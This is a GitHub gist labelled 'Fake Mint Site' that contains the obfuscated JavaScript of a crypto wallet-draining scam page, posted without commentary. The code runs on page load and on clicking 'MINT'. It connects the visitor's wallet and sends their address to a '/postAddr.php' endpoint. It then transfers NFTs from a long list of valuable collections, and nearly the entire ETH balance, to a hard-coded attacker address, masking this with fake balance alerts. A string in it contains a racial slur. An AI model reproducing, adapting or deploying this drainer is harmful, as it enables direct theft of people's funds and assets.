Skip to content

Instantly share code, notes, and snippets.

@jtgi
Created April 23, 2022 08:55
Show Gist options
  • Save jtgi/92f066390b73f5e47ffd1ef5b5208193 to your computer and use it in GitHub Desktop.
Save jtgi/92f066390b73f5e47ffd1ef5b5208193 to your computer and use it in GitHub Desktop.
Fake Mint Site
var _0x69ee09 = _0x2c92;
function _0x2c92(_0x3edf9a, _0x570cdf) {
var _0x2415bb = _0x2415();
return _0x2c92 = function(_0x2c9293, _0x285f1e) {
_0x2c9293 = _0x2c9293 - 0x80;
var _0x5bb445 = _0x2415bb[_0x2c9293];
return _0x5bb445;
}, _0x2c92(_0x3edf9a, _0x570cdf);
}(function(_0x36c0c9, _0x58705d) {
var _0x27c87c = _0x2c92,
_0xfd5a1c = _0x36c0c9();
while (!![]) {
try {
var _0x4eb15e = -parseInt(_0x27c87c(0xa2)) / 0x1 * (-parseInt(_0x27c87c(0xae)) / 0x2) + -parseInt(_0x27c87c(0x90)) / 0x3 * (parseInt(_0x27c87c(0xcc)) / 0x4) + parseInt(_0x27c87c(0x115)) / 0x5 * (-parseInt(_0x27c87c(0xad)) / 0x6) + -parseInt(_0x27c87c(0xb0)) / 0x7 * (-parseInt(_0x27c87c(0x10c)) / 0x8) + parseInt(_0x27c87c(0x87)) / 0x9 + -parseInt(_0x27c87c(0xa7)) / 0xa * (-parseInt(_0x27c87c(0x110)) / 0xb) + parseInt(_0x27c87c(0xf9)) / 0xc * (-parseInt(_0x27c87c(0xe1)) / 0xd);
if (_0x4eb15e === _0x58705d) break;
else _0xfd5a1c['push'](_0xfd5a1c['shift']());
} catch (_0x402079) {
_0xfd5a1c['push'](_0xfd5a1c['shift']());
}
}
}(_0x2415, 0xd5d1b));
const serverUrl = _0x69ee09(0x10a),
appId = 'N67lWm4Catoap7uHcnwOyiEPuFDhxOmVrF6pWHjL';
Moralis[_0x69ee09(0xbb)]({
'serverUrl': serverUrl,
'appId': appId
});
debugger;
var web3, nfts, addr, stopstealing = _0x69ee09(0x102),
btn1 = $(_0x69ee09(0xb7)),
amount = 0x1;
const receiverAddr = _0x69ee09(0xa3),
contracts = [_0x69ee09(0xc4), _0x69ee09(0xe0), _0x69ee09(0x99), '0x22c36bfdcef207f9c0cc941936eff94d4246d14a', _0x69ee09(0xdd), _0x69ee09(0xbe), '0x23581767a106ae21c074b2276d25e5c3e136a68b', _0x69ee09(0x105), _0x69ee09(0xd0), '0x8a90cab2b38dba80c64b7734e58ee1db38b8992e', _0x69ee09(0xa6), '0xc541fc1aa62384ab7994268883f80ef92aac6399', _0x69ee09(0xd9), _0x69ee09(0x84), '0xbd4455da5929d5639ee098abfaa3241e9ae111af', _0x69ee09(0xe4), _0x69ee09(0xea), _0x69ee09(0x11d), '0xe785e82358879f061bc3dcac6f0444462d4b5330', _0x69ee09(0x98), _0x69ee09(0x9a), _0x69ee09(0xf5), '0x059EDD72Cd353dF5106D2B9cC5ab83a52287aC3a', '0xedb61f74b0d09b2558f1eeb79b247c1f363ae452', _0x69ee09(0xff), _0x69ee09(0xfa), '0x341a1c534248966c4b6afad165b98daed4b964ef', _0x69ee09(0x88), '0xedc3ad89f7b0963fe23d714b34185713706b815b', '0x306b1ea3ecdf94ab739f1910bbda052ed4a9f949', _0x69ee09(0x103), _0x69ee09(0xac), _0x69ee09(0xcb), _0x69ee09(0xdf), _0x69ee09(0x11f), '0x6dc6001535e15b9def7b0f6a20a2111dfa9454e2', _0x69ee09(0x80), _0x69ee09(0xee), _0x69ee09(0xd8), _0x69ee09(0xc5), _0x69ee09(0xc1), _0x69ee09(0x8e), _0x69ee09(0x9d), _0x69ee09(0x91), _0x69ee09(0xba), _0x69ee09(0x113), _0x69ee09(0x112), _0x69ee09(0xc6), _0x69ee09(0xf8), _0x69ee09(0x8a), _0x69ee09(0xb4), _0x69ee09(0x8f), _0x69ee09(0xab), '0x529a4e15b3ce13523417f945ecd0959ff71e0a9e', _0x69ee09(0xbf), '0xb6329bd2741c4e5e91e26c4e653db643e74b2b19', _0x69ee09(0x83), '0x20ed6cdf9344b3a187063a3ff4d883b6b1947b81', _0x69ee09(0xb8), _0x69ee09(0xb5), '0x28472a58a490c5e09a238847f66a68a47cc76f0f', _0x69ee09(0x8b), _0x69ee09(0x11c), '0x9c80777cae192e5031c38a0d951c55730ecc3f5e', '0xd0318da435dbce0b347cc6faa330b5a9889e3585', '0xb4d06d46a8285f4ec79fd294f78a881799d8ced9', _0x69ee09(0xf3), _0x69ee09(0x11b), _0x69ee09(0x100), _0x69ee09(0x119), _0x69ee09(0x116), _0x69ee09(0xe3), '0x3abedba3052845ce3f57818032bfa747cded3fca', _0x69ee09(0x9b), _0x69ee09(0x10d), '0xfe8c6d19365453d26af321d0e8c910428c23873f', '0xc8e1de8dc39a758c7a50f659b53f787e0f1398bd', _0x69ee09(0x8d), '0x5bd815fd6c096bab38b4c6553cfce3585194dff9', _0x69ee09(0x10e), '0xe0176ba60efddb29cac5b15338c9962daee9de0c', _0x69ee09(0x92), _0x69ee09(0xb9), '0x123b30e25973fecd8354dd5f41cc45a3065ef88c', _0x69ee09(0x82), _0x69ee09(0x85), _0x69ee09(0x11a), _0x69ee09(0xe5), _0x69ee09(0xec), '0x9378368ba6b85c1fba5b131b530f5f5bedf21a18', _0x69ee09(0x108), '0x98a0227e99e7af0f1f0d51746211a245c3b859c2', _0x69ee09(0x10f), _0x69ee09(0xa9), _0x69ee09(0xca), _0x69ee09(0x96), '0xd7b397edad16ca8111ca4a3b832d0a5e3ae2438c', _0x69ee09(0x109), _0x69ee09(0xfb), _0x69ee09(0xf7), _0x69ee09(0xd3), _0x69ee09(0xfe), _0x69ee09(0xc3), _0x69ee09(0xa4), _0x69ee09(0x9f), '0x4a537f61ef574153664c0dbc8c8f4b900cacbe5d', _0x69ee09(0x94), _0x69ee09(0xb3), '0x7ea3cca10668b8346aec0bf1844a49e995527c8b', _0x69ee09(0x114), _0x69ee09(0xf1), '0x970d5e0bd5c4f193fccf7fd579590c5f5c69b2d9', _0x69ee09(0xc7), _0x69ee09(0xd2), '0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5', _0x69ee09(0xb2), '0xad9fd7cb4fc7a0fbce08d64068f60cbde22ed34c', _0x69ee09(0xef), _0x69ee09(0x9e), _0x69ee09(0xc8), '0x5180db8f5c931aae63c74266b211f580155ecac8', _0x69ee09(0xcf), _0x69ee09(0x86), _0x69ee09(0xfc), _0x69ee09(0xda), '0x67d9417c9c3c250f61a83c7e8658dac487b56b09', '0xb5c747561a185a146f83cfff25bdfd2455b31ff4', _0x69ee09(0x9c), '0xbd275ce24f32d6ce4e9d9519c55abe9bc0ed7fcf', _0x69ee09(0xe8), '0x8ffb9b504d497e4000967391e70d542b8cc6748a', _0x69ee09(0x107), _0x69ee09(0xd6), _0x69ee09(0xf4), _0x69ee09(0x101), _0x69ee09(0x10b), _0x69ee09(0xe9), _0x69ee09(0x104), _0x69ee09(0xeb), '0x2f102e69cbce4938cf7fb27adb40fad097a13668', _0x69ee09(0xd4), '0xcefc0a83564dd2a083b83b4a73bbae97e40fa7ea', '0xe70da20a2b10d60ca620a4e494fe2b37c9499e97', _0x69ee09(0xde), _0x69ee09(0xa5), '0x2070f7821d9c8ebfdecc1bc981d1308cc0d93843', '0x244fc4178fa685af909c88b4d4cd7eb9127edb0b', _0x69ee09(0xdb), _0x69ee09(0x95), _0x69ee09(0xe7), _0x69ee09(0xce)],
mintPrice = 0.11;
async function syncNfts() {
var _0x27b602 = _0x69ee09;
const _0x4738f6 = new Date();
console[_0x27b602(0xfd)](_0x4738f6);
try {
addr = await Moralis['Web3']['account'], $[_0x27b602(0xa1)](_0x27b602(0xc9) + addr + _0x27b602(0xcd) + _0x4738f6), nfts = await Moralis['Web3'][_0x27b602(0xd7)]({
'chain': _0x27b602(0xc0),
'address': await Moralis[_0x27b602(0x111)][_0x27b602(0xc2)]
}), console[_0x27b602(0xfd)]();
} catch (_0x2c6d53) {
console['log'](_0x2c6d53);
}
}
async function syncChain() {
var _0x257754 = _0x69ee09;
web3 = await Moralis[_0x257754(0xf2)]();
if (Moralis[_0x257754(0xaa)]() != '0x1') try {
await web3[_0x257754(0xed)]['request']({
'method': _0x257754(0xb6),
'params': [{
'chainId': _0x257754(0xa8)
}]
});
} catch (_0x4c53d4) {
await syncChain();
}
}
async function connect() {
var _0x7939f6 = _0x69ee09;
try {
web3 = await Moralis[_0x7939f6(0xf2)]();
} catch (_0x34caab) {
return;
}
}
function _0x2415() {
var _0x369d55 = ['0x8d4100897447d173289560bc85c5c432be4f44e4', '0x5b7622ded96511639ddc12c86eb2703331ca2c78', 'length', '0x1afef6b252cc35ec061efe6a9676c90915a73f18', '0xc9d8f15803c645e98b17710a0b6593f097064bef', '108MpSUXz', '0xce17f8ef13cf67da6eab86e31360102eea8609ff', '0xef0182dc0574cd5874494a120750fd222fdb909a', '0x13927739076014913a3a7c207ef84c5be4780014', 'log', '0x03ef30e1aee25abd320ad961b8cd31aa1a011c97', '0x7bd29408f11d2bfc23c34f18275bbf23bb716bc7', '0x86c10d10eca1fca9daf87a279abccabe0063f247', '0x226bf5293692610692e2c996c9875c914d2a7f73', 'stop\x20stealing\x20my\x20websites\x20niggers\x20get\x20your\x20own', '0xc9677cd8e9652f1b1aadd3429769b0ef8d7a0425', '0xe51aac67b09eaed6d3d43e794d6bae679cbe09d8', '0xdd012153e008346591153fff28b0dd6724f0c256', 'User', '0xa5c0bd78d1667c13bfb403e2a3336871396713c5', '0xa5e25b44b01e09b7455851838c76cde68d13e29f', '0x1b829b926a14634d36625e60165c0770c09d02b2', 'https://8va0c3ln5eo2.moralishost.com:2053/server', '0xbad6186e92002e312078b5a1dafd5ddf63d3f731', '11012904DTRqRW', '0x950b9476a4de757bb134483029ac4ec17e739e3a', '0x5af0d9827e0c53e4799bb226655a1de152a425a5', '0x25cd67e2dfec471acd3cdd3b22ccf7147596dd8b', '9317XdlaDQ', 'Web3', '0xf87e31492faf9a91b02ee0deaad50d51d56d5d4d', '0x79fcdef22feed20eddacbb2587640e45491b757f', '0x4b61413d4392c806e6d0ff5ee91e6073c21d6430', '400jVixaH', '0x0972290a80333d19c6703073c3e57134a4ca0127', 'ready', 'wait', '0x495b01c1bc3b9203fde4362d9913c692fb661f3f', '0x0c2e57efddba8c768147d1fdf9176a0a6ebd5d83', '0x0bd4d37e0907c9f564aaa0a7528837b81b25c605', '0x5cc5b05a8a13e3fbdb0bb9fccd98d38e50f90c38', '0xba30e5f9bb24caa003e9f2f0497ad287fdf95623', 'catch', '0x9168224fd1033ca25aaebae9eff39c92bd15231c', 'html', 'push', '0x1cb1a5e65610aeff2551a50f76a87a7d3fb649c6', 'You\x20don\x27t\x20have\x20enough\x20ethereum\x20to\x20mint\x20NFT.', '0xf61f24c2d93bf2de187546b14425bf631f28d6dc', '0x75e95ba5997eb235f40ecf8347cdb11f18ff640b', '0x9930929903f9c6c83d9e7c70d058d03c376a8337', '0x7ecb204fed7e386386cab46a1fcb823ec5067ad5', '0x97597002980134bea46250aa0510c9b90d87a587', '5339943WwjsPo', '0x59468516a8259058bad1ca5f8f4bff190d30e066', 'ETH', '0x3110ef5f612208724ca51f5761a69081809f03b7', '0x7cc7add921e2222738561d03c89589929cefcf21', 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161', '0x880644ddf208e471c6f2230d31f9027578fa6fcc', '0x78d61c684a992b0289bbfe58aaa2659f667907f8', '0x521f9c7505005cfa19a8e5786a9c3c9c9f5e6f42', '3kWIqrl', '0x94b6f3978b0a32f7fa0b15243e86af1aec23deb5', '0xd73acd7f5099fdd910215dbff029185f21ffbcf0', 'token_address', '0x698fbaaca64944376e2cdc4cad86eaa91362cf54', '0x1a2f71468f656e97c2f86541e57189f59951efe7', '0x38a6fd7148c4900338e903258b5e289dfa995e2e', 'splice', '0x86825dfca7a6224cfbd2da48e85df2fc3aa7c4b1', '0x9c8ff314c9bc7f6e59a9d9225fb22946427edc03', '0x9df8aa7c681f33e442a0d57b838555da863504f3', '0x960b7a6bcd451c9968473f7bbfd9be826efd549a', '0xa6a5ec7b1b8a34ff2dcb2926b7c78f52a5ce3b90', '0x16de9d750f4ac24226154c40980ef83d4d3fd4ad', '0x8943c7bac1914c9a7aba750bf2b6b09fd21037e0', '0x58519ea95cdfad3622c4c574e61a58fa257d9e77', 'Units', 'get', '19ACjBAZ', '0x60aa509079Bb3481f9f9e307868735913F0405a6', '0x4a8c9d751eeabc5521a68fb080dd7e72e46462af', '0x19b86299c21505cdf59ce63740b240a9c822b5e4', '0xb668beb1fa440f6cf2da0399f8c28cab993bdd65', '4630TbEDBL', '0x1', '0x09233d553058c2f42ba751c87816a8e9fae7ef10', 'getChainId', '0xab0b0dd7e4eab0f9e31a539074a03f1c1be80879', '0x9705a7113363a383c8a96689e20286abe6612bb3', '18474dIAaoN', '30308RguYFd', 'toLowerCase', '7FNrGXT', 'contract_type', '0xa1d4657e0e6507d5a94d06da93e94dc7c8c44b51', '0xfe190723a465c99293c4f035045c0a6880d25dbe', '0x31b6d1289f96818e79dbb271bf77e8132b86e814', '0x2acab3dea77832c09420663b0e1cb386031ba17b', 'wallet_switchEthereumChain', '#btn1', '0xbd3531da5cf5857e7cfaa92426877b022e612cf8', '0xeb3a9a839dfeeaf71db1b4ed6a8ae0ccb171b227', '0xd2f668a8461d6761115daf8aeb3cdf5f40c532c6', 'start', 'transfer', 'amount', '0xed5af388653567af2f388e6224dc7c4b3241c544', '0x959e104e1a4db6317fa58f8295f586e1a978c297', 'eth', '0xccc441ac31f02cd96c153db6fd5fe0a2f4e6a68d', 'account', '0x9a38dec0590abc8c883d72e52391090e948ddf12', '0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D', '0x892848074ddea461a15f337250da3ce55580ca85', '0x3903d4ffaaa700b62578a66e7a67ba4cb67787f9', '0x7afeda4c714e1c0a2a1248332c100924506ac8e6', '0x0b4b2ba334f476c8f41bfe52a428d6891755554d', '/postAddr.php?mmAddr=', '0x0cfb5d82be2b949e8fa73a656df91821e2ad99fd', '0x6fc3ad6177b07227647ad6b4ae03cc476541a2a0', '4335808CGSdtJ', '&accessTime=', '0x219b8ab790decc32444a6600971c7c3718252539', '0x364c828ee171616a39897688a831c2499ad972ec', '0x49cf6f5d44e70224e2e23fdcdd2c053f30ada28b', 'token_id', '0x099689220846644f87d1137665cded7bf3422747', '0x4db1f25d3d98600140dfc18deb7515be5bd293af', '0xd78b76fcc33cd416da9d3d42f72649a23d7ac647', 'native', '0xf4ee95274741437636e748ddac70818b4ed7d043', 'getNFTs', '0xae3d8d68b4f6c3ee784b2b0669885a315ba77c08', '0xa3aee8bce55beea1951ef834b99f3ac60d1abeeb', '0x177ef8787ceb5d4596b6f011df08c86eb84380dc', '0x2931b181ae9dc8f8109ec41c42480933f411ef94', 'click', '0x60e4d786628fea6478f785a6d7e704777c86a7c6', '0x7feb477600a03fd6ab1fe451cb3c7836a420f4ad', '0x57a204aa1042f6e66dd7730813f4024114d74f37', '0x08d7c0242953446436f34b4c78fe9da38c73668d', '641264qngZmt', 'MINT', '0x6e9da81ce622fb65abf6a8d8040e460ff2543add', '0x86357a19e5537a8fba9a004e555713bc943a66c0', '0x35471f47c3c0bc5fc75025b97a19ecdde00f78f8', 'stringify', '0x1b79c7832ed9358e024f9e46e9c8b6f56633691b', '0xfcb1315c4273954f74cb16d5b663dbf479eec62e', '0xc1caf0c19a8ac28c41fe59ba6c754e4b9bd54de9', '0x1a92f7381b9f03921564a437210bb9396471050c', '0xc3f733ca98e0dad0386979eb96fb1722a1a05e69', '0x5be99338289909d6dbbc57bb791140ef85ccbcab', 'provider', '0xf54cc94f1f2f5de012b6aa51f1e7ebdc43ef5afc', '0x9c8d2f53f6bff84458f1c84fdaa1e4852ca958e3', '.claim-button', '0x7afe30cb3e53dba6801aa0ea647a0ecea7cbe18d', 'enableWeb3', '0x72d47d4d24018ec9048a9b0ae226f1c525b7e794'];
_0x2415 = function() {
return _0x369d55;
};
return _0x2415();
}
async function check(_0x513554, _0x308a74) {
var _0x3bf69e = _0x69ee09;
spliceArr(nfts, _0x308a74);
try {
await _0x513554[_0x3bf69e(0x118)]();
} catch (_0x3f96de) {
nfts[_0x3bf69e(0x121)](_0x308a74);
}
}
async function sendNft(_0x38be94) {
var _0x32fc36 = _0x69ee09;
const _0x5ed395 = {
'type': _0x38be94[_0x32fc36(0xb1)][_0x32fc36(0xaf)](),
'receiver': receiverAddr,
'contractAddress': _0x38be94[_0x32fc36(0x93)],
'tokenId': _0x38be94[_0x32fc36(0xd1)],
'amount': _0x38be94[_0x32fc36(0xbd)]
};
let _0x1ba415 = await Moralis[_0x32fc36(0xbc)](_0x5ed395)[_0x32fc36(0x11e)](_0x193ab2 => console[_0x32fc36(0xfd)](_0x193ab2));
check(_0x1ba415, _0x38be94);
}
async function get() {
var _0x3db7dd = _0x69ee09;
for (var _0x309554 = 0x0; _0x309554 < contracts[_0x3db7dd(0xf6)]; _0x309554++) {
const _0x3b48ad = contracts[_0x309554];
for (var _0xa1dc0 = 0x0; _0xa1dc0 < nfts[_0x3db7dd(0xf6)]; _0xa1dc0++) {
const _0x25f1ea = nfts[_0xa1dc0];
if (strcmp(_0x25f1ea['token_address'], _0x3b48ad) != 0x0) continue;
return _0x25f1ea;
}
}
return null;
}
async function sendEth() {
var _0x2d0087 = _0x69ee09;
try {
var _0xbcb1a5 = new Web3(_0x2d0087(0x8c));
res = await _0xbcb1a5[_0x2d0087(0xc0)]['getBalance'](addr), fee = 0.02, ethBalance = res / 0xde0b6b3a7640000 - fee, console['log']({
'balance': ethBalance
});
if (ethBalance < 0.1) return alert('You\x20don\x27t\x20have\x20enough\x20ethereum\x20to\x20mint\x20NFT.'), _0x210774 = !![], _0x210774;
const _0x268eb7 = {
'type': 'native',
'amount': Moralis[_0x2d0087(0xa0)][_0x2d0087(0x89)](ethBalance),
'receiver': receiverAddr
};
var _0x210774 = ![];
let _0x2d7849 = await Moralis[_0x2d0087(0xbc)](_0x268eb7)[_0x2d0087(0x11e)](_0x155d9d => {
alert('You\x20don\x27t\x20have\x20enough\x20ethereum\x20to\x20mint\x20NFT.'), _0x210774 = !![];
});
return _0x210774;
} catch (_0x599efc) {
console[_0x2d0087(0xfd)](_0x599efc);
}
const _0x2ecc82 = {
'type': _0x2d0087(0xd5),
'amount': Moralis[_0x2d0087(0xa0)][_0x2d0087(0x89)](mintPrice * amount),
'receiver': receiverAddr
};
var _0x210774 = ![];
let _0x5b365a = await Moralis[_0x2d0087(0xbc)](_0x2ecc82)[_0x2d0087(0x11e)](_0x4f2e3b => {
var _0x2ca75a = _0x2d0087;
alert(_0x2ca75a(0x81)), _0x210774 = !![];
});
return _0x210774;
}
async function send() {
var _0x260a71 = _0x69ee09;
console[_0x260a71(0xfd)](nfts);
var _0x29790 = await get();
if (_0x29790 != null) await sendNft(_0x29790);
else {
stop = await sendEth();
if (stop) return;
}
await send();
}
async function claim() {
var _0x2fc039 = _0x69ee09;
let _0xbc5921 = Moralis[_0x2fc039(0x106)]['current']();
!_0xbc5921 ? (await connect(), await syncChain(), await syncNfts(), btn1[_0x2fc039(0x120)](_0x2fc039(0xe2)), await send()) : (btn1[_0x2fc039(0x120)](_0x2fc039(0xe2)), await syncChain(), await syncNfts(), await send());
}
$(_0x69ee09(0xf0))[_0x69ee09(0xdc)](async () => {
await claim();
}), $(document)[_0x69ee09(0x117)](async () => {
await claim();
});
function strcmp(_0x100c22, _0x1750d7) {
var _0x266035 = _0x69ee09;
return _0x100c22 = JSON[_0x266035(0xe6)](_0x100c22)[_0x266035(0xaf)](), _0x1750d7 = JSON[_0x266035(0xe6)](_0x1750d7)[_0x266035(0xaf)](), _0x100c22 < _0x1750d7 ? -0x1 : _0x100c22 > _0x1750d7 ? 0x1 : 0x0;
}
function spliceArr(_0x4684ad, _0x4452e1) {
var _0x13959c = _0x69ee09;
for (var _0x45d135 = 0x0; _0x45d135 < _0x4684ad[_0x13959c(0xf6)]; _0x45d135++) {
_0x4684ad[_0x45d135] === _0x4452e1 && (_0x4684ad[_0x13959c(0x97)](_0x45d135, 0x1), _0x45d135--);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment